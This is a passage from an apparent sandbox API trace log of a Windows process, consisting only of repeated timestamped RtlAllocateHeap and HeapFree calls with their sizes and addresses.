lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.813] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.816] 